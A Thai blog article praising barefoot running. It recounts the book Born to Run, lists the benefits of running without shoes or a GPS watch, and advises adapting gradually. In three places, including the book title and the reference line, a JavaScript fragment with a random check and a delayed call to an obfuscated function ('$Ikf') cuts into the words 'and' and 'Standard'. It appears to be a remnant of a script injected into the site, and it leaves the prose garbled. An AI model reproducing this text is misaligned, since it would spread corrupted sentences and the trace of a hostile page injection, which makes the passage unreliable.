เพื่อนนักวิ่งเคยสังเกตุรองเท้าวิ่งในงานแข่งขันบ้างดูไหมครับ…จะมีนักวิ่งกลุ่มหนึ่งที่ใส่รองเท้าแปลกๆ ที่มีห้านิ้วโผล่ออกมา นี้ไม่ใช่รองเท้าแฟชั่นหรือรองเท้าประเภทไฮเทคอะไรเลย แต่เป็นรองเท้าที่ใส่เพื่อป้องกันหนังผิวเท้าของเหล่านักวิ่งสาย Minimalist ที่เรียกว่า นักวิ่งเท้าเปล่า หรือนักวิ่ง Barefoot นั่นเอง
ค้นหาความสุขของคนวิ่ง BAREFOOT ที่คุณอาจจะไม่รู้มาก่อน
กลุ่มนักวิ่งเท้าเปล่ามีมานานในเมืองไทยแต่ยังไม่เป็นที่รู้จักมากนัก แม้ในช่วงที่เริ่มมี Running Boom ก็ตาม ถือว่าเป็นกลุ่มนักวิ่งที่ Niche มาก (เฉพาะทาง) แต่เมื่อมีหนังสือเล่มหนึ่งที่ชื่อว่า “Born to Run: A Hidden Tribe, Superathletes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the Greatest Race the World Has Never Seen” เขียนโดยนาย Christopher McDougall ผู้ลงทุนฝั่งตัวเอง ใช้ชีวิตดื่มกินไปกับเผาชาวพื้นเมืองเม็กซิโกที่มีพฤติกรรมวิ่งด้วยเท้าเปล่าได้เป็นหลายร้อยไมล์โดยไม่มีอาการบาดเจ็บเลย จากนั้นโลกก็มีการตื่นตัวและให้ความสนใจเกี่ยวกับประโยชน์ของการวิ่งเท้าเปล่า รวมถึงเมืองไทยด้วย
ถ้าจะให้พูดกันตรงๆ ตามที่สังเกตมา คนวิ่งเท้าเปล่าจะแบ่งได้เป็น กลุ่มนักวิ่งที่มีประสบการณ์ มีความสามารถวิ่งระดับฟูลและอัลตร้ามาราธอนได้ดี และกลุ่มหนึ่งที่มีอาการบาดเจ็บเวลาวิ่ง จึงเปลี่ยนมาวิ่งแบบเท้าเปล่าดู พวกเขาจึงได้ค้นพบว่าการวิ่ง เท้าเปล่า นั้นนอกจากจะให้ประโยชน์ในด้านการพัฒนา performance และช่วยลดอัตราการเกิดอาการบาดเจ็บได้ด้วย
หนังสือ Born to Run มีต้นเหตุเพราะว่า ทำไม่เวลาวิ่งเท้าเราจึงเกิดอาการเจ็บ วิ่งแล้วปวด เจ้าอาการบาดเจ็บ มันต้องมีสาเหตุและเราต้องทำอะไรผิดพลาดสักอย่าง…ข้อมูลนั้นสามารถหาได้จากหนังสือ Born to Run ครับ ได้ไขแจ้งเขียนอธิบายเป็นหลักทฤษฎีที่น่าสนใจและเป็นที่ดีเบตไปทั่ว ทั้งยังสร้างแรงบันดาลใจให้นักวิ่งรุ่นใหม่ๆ ทดลองวิ่งด้วยเท้าเปล่ากันมากขึ้น ใครที่ลองแล้วส่วนมากก็ไม่กลับไปใส่รองเท้าวิ่งเลยก็มีและกลุ่มนักวิ่ง เท้าเปล่า พวกเขาจึงดู Enjoy กับการวิ่งมากกว่ากลุ่มอื่นๆ มากด้วย…เพราะอะไรเรามาดูกัน
- กลับสู่ธรรมชาติ แม้รองเท้าวิ่งปัจจุบันจะอัดแน่นไปด้วยเทคโลโลยี แต่ก็ล้วนโหยหาความเป็นธรรมชาติ การถอดรองเท้าวิ่งตีนเปล่าจะช่วยให้คุณได้ฟังเสียงร่างกายชัดขึ้น คุณต้องมีสมาธิจดจ่อกับการลงเท้า ไม่สามารถวางเท้าสบายๆ ไม่คิดอะไรมากเหมือนตอนใส่รองเท้าได้ นั้นทำให้ประสาทสัมผัสมีความแหลมคม มีสมาธิ ได้ยินเสียงการหายใจ เสียงนกร้องสองข้างทาง ใบไม้ไหวตามแรงลม หรือแม้แต่เสียงนักวิ่งตามหลังชัดเจนยิ่งขึ้น
- ปรับจูนร่างกายใหม่ใหม่ แม้หนังสือจะบอกว่าการวิ่งด้วยเท้าเปล่าคือท่าวิ่งที่ถูกต้อง เป็นธรรมชาติที่ควรจะเป็น และการวิ่งเท้าเปล่า จะช่วยคุณไม่ให้การบาดเจ็บหวนกลับมาได้อีกก็ตาม แต่การที่จะให้นักวิ่งทั่วไปทดลองวิ่งเท้าเปล่าเลยนั้น ดูจะเสี่ยงไปหน่อย หากฝืนไปก็รั้งจะทำให้เกิดอาการบาดเจ็บได้ การวิ่งเท้าเปล่าจะต้องค่อยๆ ฝึก และทำเหมือนการสะสมระยะทาง เหมือนตอนที่คุณฝึกวิ่งแรกๆ ประโยชน์อย่างหนึ่งที่คุณจะได้ถ้าทดลองฝึกวิ่งเท้าเปล่าสลับวิ่งใส่รองเท้าธรรมดา นั้นคือ จะทำให้ร่างกายมีการปรับ Posture ท่าวิ่งใหม่ในการลงเท้า การเอนตัว มัดกล้ามเนื้อใหม่ๆ ชิ้นเล็กๆ ชิ้นน้อย ได้ทำงาน มัดกล้ามเนื้อเดิมๆ ที่ใช้ฝึกวิ่งก็จะได้พัก (Recovery) สร้างความแปลกใหม่ให้การฝึกวิ่งไม่น่าเบื่อ
- เป็นอิสระ นักวิ่ง barefoot นอกจากจะถอดรองเท้าทิ้งแล้ว บางครั้งก็ถอดนาฬิกา GPS ทิ้งไว้ที่บ้านด้วย การฝึกวิ่งที่ต้องดูความเร็ว ดูเวลา ดู Heart Rate และดูจับระยะทาง ก็ทำให้ร่างไม่ยอมรับฟังเสียงร่างกายตัวเอง เกิดความไม่เชื่อมั่น พะว้าพะวง ทดลองถอดอุปกรณ์อิเล็กโทรนิคและรองเท้าไว้ที่บ้านดูครับ วิ่งเท้าเปล่าบนสนามหญ้าหรือเส้นทางที่คุ้นเลย ก็จะพบว่าเราสามารถทำความเร็ววิ่งได้ดีอย่างน่าตกใจเลยละ
ถ้าใครอยากรู้ว่าจะเริ่มเรียนวิ่งเท้าเปล่าได้ที่ไหน เรามีคลิปดีๆ จากเพจ The Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard ที่แนะนำการวิ่ง Barefoot โดยปรมาจารย์นักวิ่งเท้าเปล่าชาวญี่ปุ่น เคซัง หรืออัตสึยูกิ คัตสึยะมะ มาแนะนำกันครับ อาจารย์เขาสอนให้ฟรีๆ ด้วยนะ เเถมได้สังคมใหม่ๆ ด้วย
ใครที่สนใจอยากวิ่งก็ใจเย็นๆ ไว้ก่อนนะ การวิ่งเท้าเปล่าก็เหมือนการฝึกวิ่งใหม่อีกครั้ง กล้ามเนื้อต้องการเวลาในการปรับสภาพ ใส่รองเท้ามานานกล้ามเนื้อมันก็ชินต่อการใช้งานรูปแบบเดิมๆ การปรับมาวิ่งเท้าเปล่าก็ต้องให้กล้ามเนื้อชุดใหม่ได้สร้างความแข็งแรงขึ้นมาใหม่
อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-advice%2F3-ways-to-measure-body-fat-why-body-fat-matters”>therunningbug.com,The Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard